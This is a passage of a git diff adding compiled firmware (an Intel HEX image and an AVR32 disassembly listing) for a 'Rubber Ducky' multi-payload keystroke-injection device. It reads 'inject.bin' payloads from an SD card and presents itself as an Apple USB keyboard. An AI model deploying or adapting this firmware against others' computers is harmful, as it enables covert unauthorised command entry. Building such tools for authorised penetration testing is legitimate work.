+:10710400000001F480006FE480003388EBCD40C0C0 +:10711400496811893008F0091800C170494870089D +:10712400700811C93008F0091800C0F0300749068A +:107134000E9CF01F00102FF75C576C08700811C8E4 +:10714400EE081800FE9BFFF630094888B08948A86D +:107154009088E2180200C030F01F00083009486827 +:10716400B009E3CD80C00000000001F2000001E896 +:10717400800070AC000001F080007660EBCD40E050 +:10718400FEF8047C3009B069300A914A915A11889A +:10719400109AF2081800C094FEF90464923B300976 +:1071A400F20B1900E080022A1099E2190060E081D4 +:1071B40001F9F20A1800E0840106FEF9044292394A +:1071C4005809E08001EFF1D8C005E08100A3FEFA80 +:1071D400042E159A306BF60A1800C1A0308BF60AFB +:1071E4001800E0800088300BF60A1800E081009255 +:1071F4003028F0091900C040300CE08F01CF302B4B +:10720400FEFC0400F01F0100301CE08F01C7FEF8F3 +:1072140003EE9019F2081608302AF4081800C10089 +:10722400303AF4081800C2A03019F2081800C5F169 +:10723400FEF803D8700C198BF01F00F3C4785C5966 +:10724400FEF803C87008F1380011F2081800E0884D +:10725400004FFEF803B67018F009033C19A919B8D9 +:10726400F1E910885CC8F7D8C010F01F00E7FEF8F9 +:10727400038E70283029B099C2985C595819C100FE +:107284005829C0405809C060C328FEFC038230CB93 +:10729400C0A8304BFEFC037CF01F00DBC178FEFC71 +:1072A400037630ABFEFA03742FEA189811395CC9DF +:1072B40014B9F00C0109F6091800CF93A17B2FEB48 +:1072C400FEFC0358B88BF01F00D0FEF8033290394F +:1072D4009068F2081900E08B0005301CE08F015E15 +:1072E400FEF8031CB069301CE08F0158300CE08FAD +:1072F40001553018F0091900C040300CE08F014EE0 +:10730400301BFEFC031AF01F00C0301CE08F014646 +:107314005818C361FEFA02E8159B30AAF40B180052 +:10732400C2F1F0091900C2A1FEF802F41189300873 +:10733400F0091800C230FEF802C611D7FEF802E4C4 +:107344007008700811C8EE081800E0880018300BA7 +:107354000E9CF01F00B5C120FEF802C8700870181A +:10736400F0070328703C5D1CFEF802C0B08C301B93 +:10737400109CF01F00A5301CC109300CC0E958282E +:10738400E0810110FEF80278119A3008F00A180022 +:10739400E08101033028F0091900C030300CCFD847 +:1073A400FEF8025C11DCF01F00A2E0680100F9B8ED +:1073B4000000FEFC027EB808302BF01F0093301C46 +:1073C400CEC8F1D8C005E0810092FEF902321399CB +:1073D400303AF4091800C370E08B0008301AF4093D +:1073E4001800E0810084C198305AF4091800C06084 +:1073F400309AF4091800C7A1C3C8FEF802029039F4 +:107404003008F0091900C030300CCC78FEF902289D +:107414004FB89149301CCC184F9890393008F00976 +:107424001900C0F14F6890193018F0091900C09183 +:107434004F489009A9D9B009F01F0080301CCAD860 +:10744400300CCAB84EE890393008F0091900C0F180 +:107454004EB890193018F0091900C0914E9890094F +:10746400A9B9B009F01F0076301CC978300CC9588E +:107474004E3890393008F0091900C341F01F0071EB +:10748400C3104DF811B94E187008F13800111039B5 +:10749400E0890029F01F006C4D9811B84E09B2889C +:1074A4005808C22020184D997219F20800384DD995 +:1074B4009308700811C93008F0091800C15030074A +:1074C4000E954D860A9B0E9CF01F0060C0B02FF7EE +:1074D4005C576C08700811C8EE081800FE9BFFF496 +:1074E400C038300CC5A8301CC5885818C2214C4976 +:1074F400139A30B9F20A1800C1C14C1890393008F7 +:10750400F0091900C1414C6811893008F0091800CC +:10751400C0E04BB8901611D70E9CF01F004DC07000 +:10752400F7D6C0080E9CF01F0049C378300CC3582E +:107534005828C3714B2811983019F2081800C060FC +:107544003039F2081800C281C1484AD8903930084D +:10755400F0091900C0C14AA890193008F0091900AF +:10756400C0614A7811DCF01F003BC178300CC1586F +:107574004A3890393008F0091900C0C14A089019F6 +:107584003008F0091900C06149D811DCF01F00323D +:10759400C048300CC028300C580CC030E3CF90E009 +:1075A40049781188F1D8C0055818C27149C81189A1 +:1075B4003008F0091800C210491811D7499870080A +:1075C400700811C8EE081800E08800180E96300BF9 +:1075D4000E9CF01F0015C110492870087018F007A0 +:1075E40003276E3C5D1C189B0C9CF01F000FC050C1 +:1075F4006E2C5D1CE3CD80E0E3CF80E00000042826 +:10760400000001F08000323C00000088000000A46B +:10761400000000DA000000B4000000C0000001F225 +:10762400000001E880006F60000001EC8000324837 +:10763400000001EE80007034800076608000765E89 +:1076440080003224800071108000704C800070AC87 +:107654008000325C8000332C5EFC5EFC5EFC5EFFCE +:107664005EFDD703EBCD40C01897F1DCC001C0F03C +:10767400302CF01F0017497649788D08F01F001749 +:10768400300A301B6C0CF01F0016C048302CF01F61 +:1076940000150E98E2180002C0F0301CF01F000C18 +:1076A40048C649188D08F01F000D300A301B6C0CB9 +:1076B400F01F000BC048301CF01F000AE217000442 +:1076C400C040489948389109E3CD80C08000205CCF +:1076D400000000E480007F54800068D0800066C011 +:1076E400800020AC80007F64D401301CF01F0003B4 +:1076F400302CF01F0002D802800020ACEBCD40807B +:10770400205DF01F0033D5034B283009B089B099B0 +:10771400B0A9B0B9B0C9B0D93019B0E9F01F002E82 +:10772400F01F002E4AE81A97F0EA0000FAEB000076 +:10773400F0E80008FAE90008304B4AACF01F002AD0 +:107744001A9BFE7C2400F01F00293009129A129B18 +:10775400FE7C2400F01F0026FE7C2400F01F002580 +:10776400204DEEE80000FAE90000EEE80008FAE92E +:107774000008E06C1B00EA1C00B7F01F001F300C6F +:10778400F01F001E2FCD580CC0F1FACBFFF0F01FF4 +:10779400001CF01F001C300A301B49B8700CF01F8D +:1077A400001BC070C0E830270E9CF01F0019CFDB0F +:1077B40030270E9CF01F00160E9CF01F0016CFAB56 +:1077C400F01F0015F01F0015C008000080002F886E +:1077D40000000750800069888000200480007F44F6 +:1077E40080007F8480002E588000302E8000306618 +:1077F400800031C080002C0880006ABC80006AD000 +:10780400800068D0000000E4800066C08000205C36 +:10781400800020AC8000378C800035D8EBCD4080D0 +:107824004D7913882FF8B2883019F2081800E088CF +:1078340000A430094D28B0894D2890085808C0404C +:1078440020184D09B2084D0870085898E08B009232 +:107854004CE9F208032F30DCF01F004DE081008D6D +:107864004C8890093008F0091900E081008630192D +:107874004C589109E06900FA4C28B009E3CD8080A6 +:10788400309CF01F004430294BF89109E3CD8080EF +:10789400F01F0041C080F01F004130094BA891093E +:1078A400E3CD8080F01F003EEFDCB010F01F003C01 +:1078B4005C7CEFEC10875C874BA8B0070E985C5893 +:1078C400C0A1EFD7C1084B88B08730994AE8910925 +:1078D400E3CD8080EFD7C108C06130394AA891094F +:1078E400E3CD808030594A889109E3CD80804AD81D +:1078F400119CF01F002E30494A389109E3CD808055 +:107904004A88119CF01F002A302949F89109E3CDD7 +:1079140080804A48118CF01F0027306949A89109DA +:10792400E3CD808049F8119CF01F0020307949682C +:107934009109E3CD808049B8119CF01F001D308966 +:1079440049189109E3CD80804968118CF01F001A11 +:10795400302948D89109E3CD80804939138820180B +:107964005C58B288C091302948789109E3CD808071 +:10797400300948589109E3CD80800000000001FBE4 +:10798400000001FC000000E080007F1C80002F400C +:1079940080005F8080005EB480005ED880005F1449 +:1079A400000001F8000001FA80006C3480006CAC27 +:1079B40080006D4480006D74D401F01F00045C7C71 +:1079C400F01F0003D80200008000323080007820CD +:1079D400D4013008C0D8F808070EF6080709201AA1 +:1079E4002FF8F20E1800C040FC09010CD802580A06 +:1079F400CF31149CD802588AC2F5F9EB1009E21968 +:107A04000003E0810097E04A0020C3B4F4081402A4 +:107A1400F0091108FE09002F766999697659995978 +:107A2400764999497639993976299929761999198E +:107A340076099909F608002BF8080028E01A0003D3 +:107A4400F40A1104FE0A002F17A9B0A91799B099D6 +:107A54001789B0895EFCF40A1109FE0A002F17F990 +:107A6400B8F917E9B8E917D9B8D917C9B8C917B90E +:107A7400B8B917A9B8A91799B8991789B8895EFC34 +:107A8400EBCD40C01899220AB707B326B707B3262F +:107A9400B707B326B707B326220ACF742F0AC065E7 +:107AA400B707B326B707B326210A5C3AFE0A003F9C +:107AB400D703D703F736000EF366000EF736000D32 +:107AC400F366000DF736000CF366000CF736000B76 +:107AD400F366000BF736000AF366000AF73600096E +:107AE400F3660009F7360008F3660008F736000766 +:107AF400F3660007F7360006F3660006F73600055E +:107B0400F3660005F7360004F3660004F736000355 +:107B1400F3660003F7360002F3660002F73600014D +:107B2400F3660001F7360000F3660000E3CD80C081 +:107B3400201AF60A0709F80A0B09CFB15EFC189857 +:0C7B4400C03810CB201A580ACFD15EFCCC +:107C0000C0080000C0080000C0080000C008000054 +:107C1000C0080000C0080000C0080000C008000044 +:107C2000C0080000C0080000C0080000C008000034 +:107C3000C0080000C0080000C0080000C008000024 +:107C4000C0080000C00800000000000000000000A4 +:107C5000C00800000000000000000000000000005C +:107C6000C00800000000000000000000000000004C +:107C7000C00800000000000000000000000000003C +:107C800000000000000000000000000000000000F4 +:107C900000000000000000000000000000000000E4 +:107CA00000000000000000000000000000000000D4 +:107CB00000000000000000000000000000000000C4 +:107CC00000000000000000000000000000000000B4 +:107CD00000000000000000000000000000000000A4 +:107CE0000000000000000000000000000000000094 +:107CF0000000000000000000000000000000000084 +:107D0000C008D703300CFEB0D96B580CF80F171011 +:107D1000D603301CFEB0D964580CF80F1710D603E8 +:107D2000302CFEB0D95D580CF80F1710D603303C3C +:107D3000FEB0D956580CF80F1710D60300000104F6 +:107D40004000011280000120C000012ED703D7039C +:107D5000D703D703D703D703D703D703D703D70353 +:107D6000D703D703D703D703D703D703D703D70343 +:107D7000D703D703D703D703D703D703D703D70333 +:107D8000D703D703D703D703D703D703D703D70323 +:107D9000D703D703D703D703D703D703D703D70313 +:107DA000D703D703D703D703D703D703D703D70303 +:107DB000D703D703D703D703D703D703D703D703F3 +:107DC000D703D703D703D703D703D703D703D703E3 +:107DD000D703D703D703D703D703D703D703D703D3 +:107DE000D703D703D703D703D703D703D703D703C3 +:107DF000D703D703D703D703D703D703D703D703B3 +:107E000000000000000000800000000000000000F2 +:107E10000000000000000100000000010000000060 +:107E20000000000000200000000000020000000030 +:107E300000000000004000000000000600000000FC +:107E400000000001000001440000000B0000014898 +:107E50000000000600000174000000070000018C13 +:107E600000000001000001A800000001000001ACBA +:107E7000000000010000010C0000000100000110E2 +:107E800000000000000001140000000100000118C3 +:107E9000000000000000011C0000000100000120A3 +:107EA0000000000100000124000000010000012882 +:107EB000000000030000012C000000010000013858 +:107EC000000000000000013C000000010000014033 +:107ED000525261413A2A3F223C3E7C002B2C2E3BE1 +:107EE0003D5B5D007272416180002C4080002D90EE +:107EF00080002C3C80002C3E80002D2C80002CC467 +:107F000080007F042253442F4D4D4320436172640F +:107F1000206F766572205350492200008000785A05 +:107F20008000788480007894800078F28000790462 +:107F300080007916800079288000793A8000794C99 +:107F40008000795E0100000000B71B0008000001FE +:107F500000010000413A5C696E6A656374322E620A +:107F6000696E0000413A5C696E6A656374332E6223 +:107F7000696E0000413A5C696E6A6563742E6269DD +:107F80006E0000000F0019000E00110000202020DC +:107F900020202020202028282828282020202020B9 +:107FA0002020202020202020202020202088101089 +:107FB00010101010101010101010101010040404E5 +:107FC00004040404040404101010101010104141A3 +:107FD0004141414101010101010101010101010191 +:107FE00001010101010101011010101010104242A5 +:107FF0004242424202020202020202020202020261 +:108000000202020202020202101010102000000000 +:108010000000000000000000000000000000000060 +:108020000000000000000000000000000000000050 +:108030000000000000000000000000000000000040 +:108040000000000000000000000000000000000030 +:108050000000000000000000000000000000000020 +:108060000000000000000000000000000000000010 +:108070000000000000000000000000000000000000 +:1080800000000000000000000000000000000000F0 +:108090000000000F0105010906A101050719E029EB +:1080A000E715002501750195088102810119002954 +:1080B00065150025657508950681000508190129D3 +:1080C000051500250175019505910295039101C0E3 +:1080D00080006DEC80006DE080006DA880006B7CFE +:1080E00009022200010100A032090400000103007E +:1080F0000100092111010001223B0007058103084D +:108100000002000000000058000000840000004849 +:10811000000000900000007C120100020000000836 +:10812000AC0527220001010200010000484944205B +:108130004B6579626F617264000000004170706C81 +:108140006520496E632E000000030000000000005F +:10815000000000000000000000000000000000001F +:1081600000000403090400000000000180007F7487 +:0481700080007F8D7F +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.lss b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.lss new file mode 100644 index 0000000..94461ce --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.lss @@ -0,0 +1,18046 @@ + +duck.elf: file format elf32-avr32 + +Sections: +Idx Name Size VMA LMA File off Algn + 0 .reset 00002004 80000000 80000000 00000400 2**2 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 1 .rela.got 00000000 80002004 80002004 00002404 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 2 .text 00005b4c 80002004 80002004 00002404 2**2 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 3 .exception 00000200 80007c00 80007c00 00008000 2**9 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 4 .rodata 00000290 80007e00 80007e00 00008200 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 5 .dalign 00000004 00000004 00000004 00000000 2**0 + ALLOC + 6 .data 000000e4 00000008 80008090 00008808 2**2 + CONTENTS, ALLOC, LOAD, DATA + 7 .balign 00000004 000000ec 80008174 000088ec 2**0 + ALLOC + 8 .bss 00000668 000000f0 000000f0 00000000 2**2 + ALLOC + 9 .heap 000068a8 00000758 00000758 00000000 2**0 + ALLOC + 10 .comment 00000030 00000000 00000000 000088ec 2**0 + CONTENTS, READONLY + 11 .debug_aranges 00001070 00000000 00000000 0000891c 2**0 + CONTENTS, READONLY, DEBUGGING + 12 .debug_pubnames 00002ec3 00000000 00000000 0000998c 2**0 + CONTENTS, READONLY, DEBUGGING + 13 .debug_info 0001f413 00000000 00000000 0000c84f 2**0 + CONTENTS, READONLY, DEBUGGING + 14 .debug_abbrev 00003477 00000000 00000000 0002bc62 2**0 + CONTENTS, READONLY, DEBUGGING + 15 .debug_line 0000e26b 00000000 00000000 0002f0d9 2**0 + CONTENTS, READONLY, DEBUGGING + 16 .debug_frame 00002e58 00000000 00000000 0003d344 2**2 + CONTENTS, READONLY, DEBUGGING + 17 .debug_str 00008bc2 00000000 00000000 0004019c 2**0 + CONTENTS, READONLY, DEBUGGING + 18 .debug_loc 00007a54 00000000 00000000 00048d5e 2**0 + CONTENTS, READONLY, DEBUGGING + 19 .debug_macinfo 013fad40 00000000 00000000 000507b2 2**0 + CONTENTS, READONLY, DEBUGGING + 20 .stack 00001000 00007000 00007000 00000000 2**0 + ALLOC + 21 .debug_ranges 00001028 00000000 00000000 0144b4f2 2**0 + CONTENTS, READONLY, DEBUGGING + +Disassembly of section .reset: + +80000000 <_trampoline>: +80000000: e0 8f 10 00 bral 80002000 + ... + +80002000 : +80002000: fe cf b6 c4 sub pc,pc,-18748 + +Disassembly of section .text: + +80002004 : +#if defined (CONF_BOARD_AT45DBX) +#define AT45DBX_MEM_CNT 1 +#endif + +void board_init(void) +{ +80002004: d4 01 pushm lr + gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +80002006: 30 3b mov r11,3 +80002008: 30 7c mov r12,7 +8000200a: f0 1f 00 14 mcall 80002058 + gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +8000200e: 30 3b mov r11,3 +80002010: 30 8c mov r12,8 +80002012: f0 1f 00 12 mcall 80002058 + gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +80002016: 30 3b mov r11,3 +80002018: 31 5c mov r12,21 +8000201a: f0 1f 00 10 mcall 80002058 + gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +8000201e: 30 3b mov r11,3 +80002020: 31 6c mov r12,22 +80002022: f0 1f 00 0e mcall 80002058 + + gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT); +80002026: 30 0b mov r11,0 +80002028: 32 2c mov r12,34 +8000202a: f0 1f 00 0c mcall 80002058 + gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT); +8000202e: 30 0b mov r11,0 +80002030: 32 3c mov r12,35 +80002032: f0 1f 00 0a mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT); +80002036: 30 0b mov r11,0 +80002038: 30 dc mov r12,13 +8000203a: f0 1f 00 08 mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT); +8000203e: 30 0b mov r11,0 +80002040: 32 6c mov r12,38 +80002042: f0 1f 00 06 mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT); +80002046: 30 0b mov r11,0 +80002048: 32 7c mov r12,39 +8000204a: f0 1f 00 04 mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT); +8000204e: 30 0b mov r11,0 +80002050: 32 8c mov r12,40 +80002052: f0 1f 00 02 mcall 80002058 + // Assign GPIO pins to USB. + gpio_enable_module(USB_GPIO_MAP, + sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0])); +#endif + +} +80002056: d8 02 popm pc +80002058: 80 00 ld.sh r0,r0[0x0] +8000205a: 2e 88 sub r8,-24 + +8000205c : + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; +8000205c: f9 dc c0 04 bfextu r12,r12,0x0,0x4 + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); +80002060: 49 18 lddpc r8,800020a4 +80002062: 70 09 ld.w r9,r8[0x0] +80002064: f9 e9 10 09 or r9,r12,r9 +80002068: 91 09 st.w r8[0x0],r9 + + // While there are specified LEDs left to manage... + while (leds) +8000206a: 58 0c cp.w r12,0 +8000206c: 5e 0c reteq r12 +8000206e: 48 f8 lddpc r8,800020a8 +80002070: 21 08 sub r8,16 + { + // Select the next specified LED and turn it on. + led_shift = 1 + ctz(leds); +80002072: 18 9a mov r10,r12 +80002074: 5c 9a brev r10 +80002076: f4 0a 12 00 clz r10,r10 +8000207a: 2f fa sub r10,-1 + led_descriptor += led_shift; +8000207c: f4 09 15 04 lsl r9,r10,0x4 +80002080: 12 08 add r8,r9 + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; +80002082: 70 09 ld.w r9,r8[0x0] +80002084: a9 69 lsl r9,0x8 +80002086: e0 29 f0 00 sub r9,61440 + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; +8000208a: 70 1b ld.w r11,r8[0x4] +8000208c: f3 4b 00 58 st.w r9[88],r11 + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; +80002090: 70 1b ld.w r11,r8[0x4] +80002092: f3 4b 00 44 st.w r9[68],r11 + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; +80002096: 70 1b ld.w r11,r8[0x4] +80002098: 93 1b st.w r9[0x4],r11 + leds >>= led_shift; +8000209a: f8 0a 0a 4c lsr r12,r12,r10 + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) +8000209e: ce a1 brne 80002072 +800020a0: 5e fc retal r12 +800020a2: 00 00 add r0,r0 +800020a4: 00 00 add r0,r0 +800020a6: 00 08 add r8,r0 +800020a8: 80 00 ld.sh r0,r0[0x0] +800020aa: 7e 00 ld.w r0,pc[0x0] + +800020ac : + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; +800020ac: f9 dc c0 04 bfextu r12,r12,0x0,0x4 + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); +800020b0: 49 28 lddpc r8,800020f8 +800020b2: 70 09 ld.w r9,r8[0x0] +800020b4: f8 0a 11 ff rsub r10,r12,-1 +800020b8: f5 e9 00 09 and r9,r10,r9 +800020bc: 91 09 st.w r8[0x0],r9 + + // While there are specified LEDs left to manage... + while (leds) +800020be: 58 0c cp.w r12,0 +800020c0: 5e 0c reteq r12 +800020c2: 48 f8 lddpc r8,800020fc +800020c4: 21 08 sub r8,16 + { + // Select the next specified LED and turn it off. + led_shift = 1 + ctz(leds); +800020c6: 18 9a mov r10,r12 +800020c8: 5c 9a brev r10 +800020ca: f4 0a 12 00 clz r10,r10 +800020ce: 2f fa sub r10,-1 + led_descriptor += led_shift; +800020d0: f4 09 15 04 lsl r9,r10,0x4 +800020d4: 12 08 add r8,r9 + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; +800020d6: 70 09 ld.w r9,r8[0x0] +800020d8: a9 69 lsl r9,0x8 +800020da: e0 29 f0 00 sub r9,61440 + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; +800020de: 70 1b ld.w r11,r8[0x4] +800020e0: f3 4b 00 54 st.w r9[84],r11 + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; +800020e4: 70 1b ld.w r11,r8[0x4] +800020e6: f3 4b 00 44 st.w r9[68],r11 + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; +800020ea: 70 1b ld.w r11,r8[0x4] +800020ec: 93 1b st.w r9[0x4],r11 + leds >>= led_shift; +800020ee: f8 0a 0a 4c lsr r12,r12,r10 + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) +800020f2: ce a1 brne 800020c6 +800020f4: 5e fc retal r12 +800020f6: 00 00 add r0,r0 +800020f8: 00 00 add r0,r0 +800020fa: 00 08 add r8,r0 +800020fc: 80 00 ld.sh r0,r0[0x0] +800020fe: 7e 00 ld.w r0,pc[0x0] + +80002100 : +//! [39] == data[11] && 0x80 +//! +//! @return bit +//! OK +void sd_mmc_spi_get_capacity(void) +{ +80002100: d4 01 pushm lr + uint8_t read_bl_len; + uint8_t erase_grp_size; + uint8_t erase_grp_mult; + + // extract variables from CSD array + read_bl_len = csd[5] & 0x0F; +80002102: 4b c8 lddpc r8,800021f0 +80002104: 11 dc ld.ub r12,r8[0x5] + if (card_type == SD_CARD_2_SDHC) { +80002106: 4b c9 lddpc r9,800021f4 +80002108: 13 89 ld.ub r9,r9[0x0] +8000210a: 30 3a mov r10,3 +8000210c: f4 09 18 00 cp.b r9,r10 +80002110: c1 e1 brne 8000214c + c_size = ((csd[7] & 0x3F) << 16) | (csd[8] << 8) | csd[9]; +80002112: f1 3a 00 08 ld.ub r10,r8[8] +80002116: f1 39 00 09 ld.ub r9,r8[9] +8000211a: f3 ea 10 89 or r9,r9,r10<<0x8 +8000211e: 11 f8 ld.ub r8,r8[0x7] +80002120: f1 d8 c0 06 bfextu r8,r8,0x0,0x6 +80002124: f3 e8 11 08 or r8,r9,r8<<0x10 + ++c_size; +80002128: 2f f8 sub r8,-1 + capacity = c_size << 19; +8000212a: f0 0a 15 13 lsl r10,r8,0x13 +8000212e: 4b 39 lddpc r9,800021f8 +80002130: 93 0a st.w r9[0x0],r10 + capacity_mult = (c_size >> 13) & 0x01FF; +80002132: f5 d8 c1 a9 bfextu r10,r8,0xd,0x9 +80002136: 4b 28 lddpc r8,800021fc +80002138: b0 0a st.h r8[0x0],r10 + sd_mmc_spi_last_block_address = (capacity >> 9) + (capacity_mult << 23) - 1; +8000213a: 72 09 ld.w r9,r9[0x0] +8000213c: 90 08 ld.sh r8,r8[0x0] +8000213e: a9 99 lsr r9,0x9 +80002140: 20 19 sub r9,1 +80002142: b7 78 lsl r8,0x17 +80002144: 10 09 add r9,r8 +80002146: 4a f8 lddpc r8,80002200 +80002148: 91 09 st.w r8[0x0],r9 +8000214a: c4 28 rjmp 800021ce + } else { + c_size = ((csd[6] & 0x03) << 10) + (csd[7] << 2) + ((csd[8] & 0xC0) >> 6); + c_size_mult = ((csd[9] & 0x03) << 1) + ((csd[10] & 0x80) >> 7); +8000214c: 4a 98 lddpc r8,800021f0 +8000214e: f1 3a 00 0a ld.ub r10,r8[10] + sd_mmc_spi_last_block_address = ((uint32_t)(c_size + 1) * (uint32_t)((1 << (c_size_mult + 2)))) - 1; +80002152: f1 3b 00 08 ld.ub r11,r8[8] +80002156: a7 8b lsr r11,0x6 +80002158: 11 fe ld.ub lr,r8[0x7] +8000215a: f6 0e 00 2b add r11,r11,lr<<0x2 +8000215e: 11 ee ld.ub lr,r8[0x6] +80002160: fd de c0 02 bfextu lr,lr,0x0,0x2 +80002164: ab 6e lsl lr,0xa +80002166: 1c 0b add r11,lr +80002168: 2f fb sub r11,-1 +8000216a: f1 38 00 09 ld.ub r8,r8[9] +8000216e: f1 d8 c0 02 bfextu r8,r8,0x0,0x2 +80002172: f4 0e 16 07 lsr lr,r10,0x7 +80002176: fc 08 00 18 add r8,lr,r8<<0x1 +8000217a: 2f e8 sub r8,-2 +8000217c: f6 08 09 48 lsl r8,r11,r8 +80002180: 20 18 sub r8,1 +80002182: 4a 0b lddpc r11,80002200 +80002184: 97 08 st.w r11[0x0],r8 + capacity = (1 << read_bl_len) * (sd_mmc_spi_last_block_address + 1); +80002186: 76 0b ld.w r11,r11[0x0] +80002188: f1 dc c0 04 bfextu r8,r12,0x0,0x4 +8000218c: f6 cc ff ff sub r12,r11,-1 +80002190: f8 08 09 4c lsl r12,r12,r8 +80002194: 49 9b lddpc r11,800021f8 +80002196: 97 0c st.w r11[0x0],r12 + capacity_mult = 0; +80002198: 30 0c mov r12,0 +8000219a: 49 9b lddpc r11,800021fc +8000219c: b6 0c st.h r11[0x0],r12 + if (read_bl_len > 9) { // 9 means 2^9 = 512b +8000219e: 30 9b mov r11,9 +800021a0: f6 08 18 00 cp.b r8,r11 +800021a4: e0 88 00 08 brls 800021b4 + sd_mmc_spi_last_block_address <<= (read_bl_len - 9); +800021a8: 49 6b lddpc r11,80002200 +800021aa: 76 0c ld.w r12,r11[0x0] +800021ac: 20 98 sub r8,9 +800021ae: f8 08 09 48 lsl r8,r12,r8 +800021b2: 97 08 st.w r11[0x0],r8 + } + } + if (card_type == MMC_CARD) +800021b4: 58 09 cp.w r9,0 +800021b6: c0 c1 brne 800021ce + { + erase_grp_size = ((csd[10] & 0x7C) >> 2); +800021b8: f1 da c0 45 bfextu r8,r10,0x2,0x5 + erase_grp_mult = ((csd[10] & 0x03) << 3) | ((csd[11] & 0xE0) >> 5); +800021bc: f5 da c0 02 bfextu r10,r10,0x0,0x2 +800021c0: 48 c9 lddpc r9,800021f0 +800021c2: f3 39 00 0b ld.ub r9,r9[11] +800021c6: a3 7a lsl r10,0x3 +800021c8: f5 e9 12 59 or r9,r10,r9>>0x5 +800021cc: c0 c8 rjmp 800021e4 + } + else + { + erase_grp_size = ((csd[10] & 0x3F) << 1) + ((csd[11] & 0x80) >> 7); +800021ce: 48 9a lddpc r10,800021f0 +800021d0: f5 39 00 0a ld.ub r9,r10[10] +800021d4: f3 d9 c0 06 bfextu r9,r9,0x0,0x6 +800021d8: f5 38 00 0b ld.ub r8,r10[11] +800021dc: a7 98 lsr r8,0x7 +800021de: f0 09 00 18 add r8,r8,r9<<0x1 +800021e2: 30 09 mov r9,0 + erase_grp_mult = 0; + } + erase_group_size = (erase_grp_size + 1) * (erase_grp_mult + 1); +800021e4: 2f f9 sub r9,-1 +800021e6: 2f f8 sub r8,-1 +800021e8: b1 39 mul r9,r8 +800021ea: 48 78 lddpc r8,80002204 +800021ec: b0 09 st.h r8[0x0],r9 +} +800021ee: d8 02 popm pc +800021f0: 00 00 add r0,r0 +800021f2: 04 14 sub r4,r2 +800021f4: 00 00 add r0,r0 +800021f6: 04 12 sub r2,r2 +800021f8: 00 00 add r0,r0 +800021fa: 04 04 add r4,r2 +800021fc: 00 00 add r0,r0 +800021fe: 04 08 add r8,r2 +80002200: 00 00 add r0,r0 +80002202: 04 0c add r12,r2 +80002204: 00 00 add r0,r0 +80002206: 04 0a add r10,r2 + +80002208 : +//! page programming. +//! +void sd_mmc_spi_write_close (void) +{ + +} +80002208: 5e fc retal r12 +8000220a: d7 03 nop + +8000220c : +//! @param data_to_send byte to send over SPI +//! +//! @return uint8_t +//! Byte read from the slave +uint8_t sd_mmc_spi_send_and_read(uint8_t data_to_send) +{ +8000220c: d4 01 pushm lr +8000220e: 20 1d sub sp,4 + unsigned short data_read; + spi_write(SD_MMC_SPI, data_to_send); +80002210: 18 9b mov r11,r12 +80002212: fe 7c 24 00 mov r12,-56320 +80002216: f0 1f 00 09 mcall 80002238 + if( SPI_ERROR_TIMEOUT == spi_read(SD_MMC_SPI, &data_read) ) +8000221a: fa cb ff fe sub r11,sp,-2 +8000221e: fe 7c 24 00 mov r12,-56320 +80002222: f0 1f 00 07 mcall 8000223c +80002226: 58 1c cp.w r12,1 +80002228: c0 41 brne 80002230 +8000222a: e0 6c 00 ff mov r12,255 +8000222e: c0 28 rjmp 80002232 + return 0xFF; + return data_read; +80002230: 1b bc ld.ub r12,sp[0x3] +} +80002232: 2f fd sub sp,-4 +80002234: d8 02 popm pc +80002236: 00 00 add r0,r0 +80002238: 80 00 ld.sh r0,r0[0x0] +8000223a: 31 c6 mov r6,28 +8000223c: 80 00 ld.sh r0,r0[0x0] +8000223e: 31 e2 mov r2,30 + +80002240 : +//! @brief This function waits until the SD/MMC is not busy. +//! +//! @return bit +//! OK when card is not busy +Bool sd_mmc_spi_wait_not_busy(void) +{ +80002240: d4 21 pushm r4-r7,lr + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, 